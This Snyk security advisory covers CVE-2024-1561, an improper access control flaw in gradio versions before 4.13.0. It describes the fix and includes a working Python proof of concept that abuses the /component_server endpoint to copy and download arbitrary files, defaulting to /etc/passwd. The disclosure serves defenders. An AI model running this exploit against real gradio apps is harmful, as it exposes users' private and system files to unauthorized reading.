Improper Access Control Affecting gradio package, versions [,4.13.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.07% (35th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-GRADIO-6615834
  • published16 Apr 2024
  • disclosed16 Apr 2024
  • creditozelis

Introduced: 16 Apr 2024

CVE-2024-1561  (opens in a new tab)
CWE-29  (opens in a new tab)

How to fix?

Upgrade gradio to version 4.13.0 or higher.

Overview

gradio is a Python library for easily interacting with trained machine learning models

Affected versions of this package are vulnerable to Improper Access Control due to the /component_server endpoint improperly allowing the invocation of any method on a Component class with attacker-controlled arguments. Specifically, by exploiting the move_resource_to_block_cache() method of the Block class, an attacker can copy any file on the filesystem to a temporary directory and subsequently retrieve it. This vulnerability enables unauthorized local file read access.

Notes:

  1. It is even more critical because running an app with launch(share=True) will expose the app to the internet allowing anyone to read files on users computers.

  2. All gradio apps hosted on huggingface.co are also vulnerable.

PoC


from argparse import ArgumentParser
from requests import Session

if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("--url", required=True)
    parser.add_argument("--path", default="/etc/passwd")
    args = parser.parse_args()

    url_base = args.url

    with Session() as s:
        # get app config:
        rsp = s.get(f"{url_base}/config")

        # grab any valid component_id:
        component_id = rsp.json()["components"][0]["id"]

        rsp = s.post(f"{url_base}/component_server", json={
            "component_id" : component_id,
            "data" : args.path, # "/etc/passwd",
            "fn_name" : "move_resource_to_block_cache",
            "session_hash" : "aaaaaaaaaaa"
        })
        path = rsp.json()

        rsp = s.get(f"{url_base}/file={path}")
        print(rsp.text)

CVSS Scores

version 3.1